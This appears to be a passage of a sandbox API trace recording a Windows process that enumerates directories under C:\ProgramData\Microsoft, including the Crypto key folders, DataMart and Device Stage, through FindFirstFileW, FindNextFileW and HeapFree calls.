	[0063.536] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\PCPKSP\\WindowsAIK\\*", lpFindFileData=0x2ecea24 | out: lpFindFileData=0x2ecea24*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd332abc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xbaa348
	[0063.536] FindNextFileW (in: hFindFile=0xbaa348, lpFindFileData=0x2ecea24 | out: lpFindFileData=0x2ecea24*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd332abc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0063.536] FindNextFileW (in: hFindFile=0xbaa348, lpFindFileData=0x2ecea24 | out: lpFindFileData=0x2ecea24*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd332abc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0063.536] FindClose (in: hFindFile=0xbaa348 | out: hFindFile=0xbaa348) returned 1
	[0063.536] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x3890078 | out: hHeap=0x2720000) returned 1
	[0063.536] FindNextFileW (in: hFindFile=0xbaa848, lpFindFileData=0x2ececa8 | out: lpFindFileData=0x2ececa8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd332abc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcdfeea, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x292, cFileName="WindowsAIK", cAlternateFileName="WINDOW~1")) returned 0
	[0063.536] FindClose (in: hFindFile=0xbaa848 | out: hFindFile=0xbaa848) returned 1
	[0063.536] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x3870068 | out: hHeap=0x2720000) returned 1
	[0063.537] FindNextFileW (in: hFindFile=0xbaa888, lpFindFileData=0x2ecef2c | out: lpFindFileData=0x2ecef2c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x17c6f037, ftLastAccessTime.dwHighDateTime=0x1d2a02b, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RSA", cAlternateFileName="")) returned 1
	[0063.537] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\RSA\\*", lpFindFileData=0x2ececa8 | out: lpFindFileData=0x2ececa8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x77356b64, ftLastAccessTime.dwHighDateTime=0x1d32793, ftLastWriteTime.dwLowDateTime=0x77356b64, ftLastWriteTime.dwHighDateTime=0x1d32793, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x292, cFileName=".", cAlternateFileName="")) returned 0xbaa9c8
	[0063.538] FindNextFileW (in: hFindFile=0xbaa9c8, lpFindFileData=0x2ececa8 | out: lpFindFileData=0x2ececa8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x77356b64, ftLastAccessTime.dwHighDateTime=0x1d32793, ftLastWriteTime.dwLowDateTime=0x77356b64, ftLastWriteTime.dwHighDateTime=0x1d32793, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x292, cFileName="..", cAlternateFileName="")) returned 1
	[0063.538] FindNextFileW (in: hFindFile=0xbaa9c8, lpFindFileData=0x2ececa8 | out: lpFindFileData=0x2ececa8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd40a02b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x955a3652, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x292, cFileName="MachineKeys", cAlternateFileName="MACHIN~1")) returned 1
	[0063.538] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys\\*", lpFindFileData=0x2ecea24 | out: lpFindFileData=0x2ecea24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd40a02b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x955a3652, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xbaa7c8
	[0063.538] FindNextFileW (in: hFindFile=0xbaa7c8, lpFindFileData=0x2ecea24 | out: lpFindFileData=0x2ecea24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcdfeea, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbd40a02b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x955a3652, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0063.538] FindNextFileW (in: hFindFile=0xbaa7c8, lpFindFileData=0x2ecea24 | out: lpFindFileData=0x2ecea24*(dwFileAttributes=0x24, ftCreationTime.dwLowDateTime=0xcb806263, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcb806263, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xcbbe5f7c, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x8b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="f686aace6942fb7f7ceb231212eef4a4_e8d761b7-8a68-4187-8c95-75a3788ac267", cAlternateFileName="F686AA~1")) returned 1
	[0063.538] FindNextFileW (in: hFindFile=0xbaa7c8, lpFindFileData=0x2ecea24 | out: lpFindFileData=0x2ecea24*(dwFileAttributes=0x24, ftCreationTime.dwLowDateTime=0xcb806263, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcb806263, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xcbbe5f7c, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x8b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="f686aace6942fb7f7ceb231212eef4a4_e8d761b7-8a68-4187-8c95-75a3788ac267", cAlternateFileName="F686AA~1")) returned 0
	[0063.538] FindClose (in: hFindFile=0xbaa7c8 | out: hFindFile=0xbaa7c8) returned 1
	[0063.538] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x3890078 | out: hHeap=0x2720000) returned 1
	[0063.538] FindNextFileW (in: hFindFile=0xbaa9c8, lpFindFileData=0x2ececa8 | out: lpFindFileData=0x2ececa8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x4c150294, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x77356b64, ftLastAccessTime.dwHighDateTime=0x1d32793, ftLastWriteTime.dwLowDateTime=0x77356b64, ftLastWriteTime.dwHighDateTime=0x1d32793, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x292, cFileName="S-1-5-18", cAlternateFileName="")) returned 1
	[0063.539] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\*", lpFindFileData=0x2ecea24 | out: lpFindFileData=0x2ecea24*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x4c150294, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x77356b64, ftLastAccessTime.dwHighDateTime=0x1d32793, ftLastWriteTime.dwLowDateTime=0x77356b64, ftLastWriteTime.dwHighDateTime=0x1d32793, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xbaa348
	[0063.539] FindNextFileW (in: hFindFile=0xbaa348, lpFindFileData=0x2ecea24 | out: lpFindFileData=0x2ecea24*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x4c150294, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x77356b64, ftLastAccessTime.dwHighDateTime=0x1d32793, ftLastWriteTime.dwLowDateTime=0x77356b64, ftLastWriteTime.dwHighDateTime=0x1d32793, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0063.539] FindNextFileW (in: hFindFile=0xbaa348, lpFindFileData=0x2ecea24 | out: lpFindFileData=0x2ecea24*(dwFileAttributes=0x24, ftCreationTime.dwLowDateTime=0x4c150294, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x4c150294, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c150294, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x38, dwReserved0=0x0, dwReserved1=0x0, cFileName="4eccd106f69e31c1b12304e5463bb71d_33d770d0-06bc-47c5-8714-222cdac43a71", cAlternateFileName="4ECCD1~1")) returned 1
	[0063.539] FindNextFileW (in: hFindFile=0xbaa348, lpFindFileData=0x2ecea24 | out: lpFindFileData=0x2ecea24*(dwFileAttributes=0x24, ftCreationTime.dwLowDateTime=0x4c150294, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x4c150294, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c150294, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x38, dwReserved0=0x0, dwReserved1=0x0, cFileName="4eccd106f69e31c1b12304e5463bb71d_33d770d0-06bc-47c5-8714-222cdac43a71", cAlternateFileName="4ECCD1~1")) returned 0
	[0063.539] FindClose (in: hFindFile=0xbaa348 | out: hFindFile=0xbaa348) returned 1
	[0063.539] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x3890078 | out: hHeap=0x2720000) returned 1
	[0063.539] FindNextFileW (in: hFindFile=0xbaa9c8, lpFindFileData=0x2ececa8 | out: lpFindFileData=0x2ececa8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x4c150294, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x77356b64, ftLastAccessTime.dwHighDateTime=0x1d32793, ftLastWriteTime.dwLowDateTime=0x77356b64, ftLastWriteTime.dwHighDateTime=0x1d32793, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x292, cFileName="S-1-5-18", cAlternateFileName="")) returned 0
	[0063.539] FindClose (in: hFindFile=0xbaa9c8 | out: hFindFile=0xbaa9c8) returned 1
	[0063.539] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x3870068 | out: hHeap=0x2720000) returned 1
	[0063.540] FindNextFileW (in: hFindFile=0xbaa888, lpFindFileData=0x2ecef2c | out: lpFindFileData=0x2ecef2c*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcc3cbc1c, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcc3cbc1c, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xfe648d52, ftLastWriteTime.dwHighDateTime=0x1d32770, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SystemKeys", cAlternateFileName="SYSTEM~1")) returned 1
	[0063.540] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\SystemKeys\\*", lpFindFileData=0x2ececa8 | out: lpFindFileData=0x2ececa8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcc3cbc1c, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x7737cd02, ftLastAccessTime.dwHighDateTime=0x1d32793, ftLastWriteTime.dwLowDateTime=0x7737cd02, ftLastWriteTime.dwHighDateTime=0x1d32793, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x292, cFileName=".", cAlternateFileName="")) returned 0xbaa248
	[0063.540] FindNextFileW (in: hFindFile=0xbaa248, lpFindFileData=0x2ececa8 | out: lpFindFileData=0x2ececa8*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcc3cbc1c, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x7737cd02, ftLastAccessTime.dwHighDateTime=0x1d32793, ftLastWriteTime.dwLowDateTime=0x7737cd02, ftLastWriteTime.dwHighDateTime=0x1d32793, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x292, cFileName="..", cAlternateFileName="")) returned 1
	[0063.540] FindNextFileW (in: hFindFile=0xbaa248, lpFindFileData=0x2ececa8 | out: lpFindFileData=0x2ececa8*(dwFileAttributes=0x24, ftCreationTime.dwLowDateTime=0xcc3cbc1c, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcc3cbc1c, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xcc464582, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x61d, dwReserved0=0x0, dwReserved1=0x292, cFileName="7092289d2be9a3ebf1065d0f1c678ab6_e8d761b7-8a68-4187-8c95-75a3788ac267", cAlternateFileName="709228~1")) returned 1
	[0063.540] FindNextFileW (in: hFindFile=0xbaa248, lpFindFileData=0x2ececa8 | out: lpFindFileData=0x2ececa8*(dwFileAttributes=0x24, ftCreationTime.dwLowDateTime=0x1b8875cb, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x1b8875cb, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x1b8875cb, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x61d, dwReserved0=0x0, dwReserved1=0x292, cFileName="d20d9e7d1dcddc105a0d5e00d5e1ad30_33d770d0-06bc-47c5-8714-222cdac43a71", cAlternateFileName="D20D9E~1")) returned 1
	[0063.540] FindNextFileW (in: hFindFile=0xbaa248, lpFindFileData=0x2ececa8 | out: lpFindFileData=0x2ececa8*(dwFileAttributes=0x24, ftCreationTime.dwLowDateTime=0x1b8875cb, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x1b8875cb, ftLastAccessTime.dwHighDateTime=0x1d32722, ftLastWriteTime.dwLowDateTime=0x1b8875cb, ftLastWriteTime.dwHighDateTime=0x1d32722, nFileSizeHigh=0x0, nFileSizeLow=0x61d, dwReserved0=0x0, dwReserved1=0x292, cFileName="d20d9e7d1dcddc105a0d5e00d5e1ad30_33d770d0-06bc-47c5-8714-222cdac43a71", cAlternateFileName="D20D9E~1")) returned 0
	[0063.541] FindClose (in: hFindFile=0xbaa248 | out: hFindFile=0xbaa248) returned 1
	[0063.541] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x3870068 | out: hHeap=0x2720000) returned 1
	[0063.541] FindNextFileW (in: hFindFile=0xbaa888, lpFindFileData=0x2ecef2c | out: lpFindFileData=0x2ecef2c*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcc3cbc1c, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcc3cbc1c, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xfe648d52, ftLastWriteTime.dwHighDateTime=0x1d32770, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SystemKeys", cAlternateFileName="SYSTEM~1")) returned 0
	[0063.541] FindClose (in: hFindFile=0xbaa888 | out: hFindFile=0xbaa888) returned 1
	[0063.541] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x3860060 | out: hHeap=0x2720000) returned 1
	[0063.541] FindNextFileW (in: hFindFile=0xbaa548, lpFindFileData=0x2ecf1b0 | out: lpFindFileData=0x2ecf1b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd4badec, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DataMart", cAlternateFileName="")) returned 1
	[0063.541] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\DataMart\\*", lpFindFileData=0x2ecef2c | out: lpFindFileData=0x2ecef2c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd4badec, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xbaa348
	[0063.541] FindNextFileW (in: hFindFile=0xbaa348, lpFindFileData=0x2ecef2c | out: lpFindFileData=0x2ecef2c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd4badec, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0063.541] FindNextFileW (in: hFindFile=0xbaa348, lpFindFileData=0x2ecef2c | out: lpFindFileData=0x2ecef2c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd4bb986, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PaidWiFi", cAlternateFileName="")) returned 1
	[0063.541] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\DataMart\\PaidWiFi\\*", lpFindFileData=0x2ececa8 | out: lpFindFileData=0x2ececa8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd4bb986, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xbaa6c8
	[0063.542] FindNextFileW (in: hFindFile=0xbaa6c8, lpFindFileData=0x2ececa8 | out: lpFindFileData=0x2ececa8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd4bb986, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0063.542] FindNextFileW (in: hFindFile=0xbaa6c8, lpFindFileData=0x2ececa8 | out: lpFindFileData=0x2ececa8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd4bb986, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0063.542] FindClose (in: hFindFile=0xbaa6c8 | out: hFindFile=0xbaa6c8) returned 1
	[0063.542] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x3860060 | out: hHeap=0x2720000) returned 1
	[0063.542] FindNextFileW (in: hFindFile=0xbaa348, lpFindFileData=0x2ecef2c | out: lpFindFileData=0x2ecef2c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd4bb986, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PaidWiFi", cAlternateFileName="")) returned 0
	[0063.542] FindClose (in: hFindFile=0xbaa348 | out: hFindFile=0xbaa348) returned 1
	[0063.542] HeapFree (in: hHeap=0x2720000, dwFlags=0x0, lpMem=0x3890078 | out: hHeap=0x2720000) returned 1
	[0063.542] FindNextFileW (in: hFindFile=0xbaa548, lpFindFileData=0x2ecf1b0 | out: lpFindFileData=0x2ecf1b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd4bc8c7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Device Stage", cAlternateFileName="DEVICE~1")) returned 1
	[0063.542] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\*", lpFindFileData=0x2ecef2c | out: lpFindFileData=0x2ecef2c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd4bc8c7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xbaa248
	[0063.542] FindNextFileW (in: hFindFile=0xbaa248, lpFindFileData=0x2ecef2c | out: lpFindFileData=0x2ecef2c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd4bc8c7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0063.543] FindNextFileW (in: hFindFile=0xbaa248, lpFindFileData=0x2ecef2c | out: lpFindFileData=0x2ecef2c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd4bd6f2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Device", cAlternateFileName="")) returned 1
	[0063.543] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Device\\*", lpFindFileData=0x2ececa8 | out: lpFindFileData=0x2ececa8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd4bd6f2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xbaa748
	[0063.543] FindNextFileW (in: hFindFile=0xbaa748, lpFindFileData=0x2ececa8 | out: lpFindFileData=0x2ececa8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd4bd6f2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0063.543] FindNextFileW (in: hFindFile=0xbaa748, lpFindFileData=0x2ececa8 | out: lpFindFileData=0x2ececa8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd55373b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a8653f0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{113527a4-45d4-4b6f-b567-97838f1b04b0}", cAlternateFileName="{11352~1")) returned 1
	[0063.543] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\*", lpFindFileData=0x2ecea24 | out: lpFindFileData=0x2ecea24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd55373b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a8653f0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xbaa608
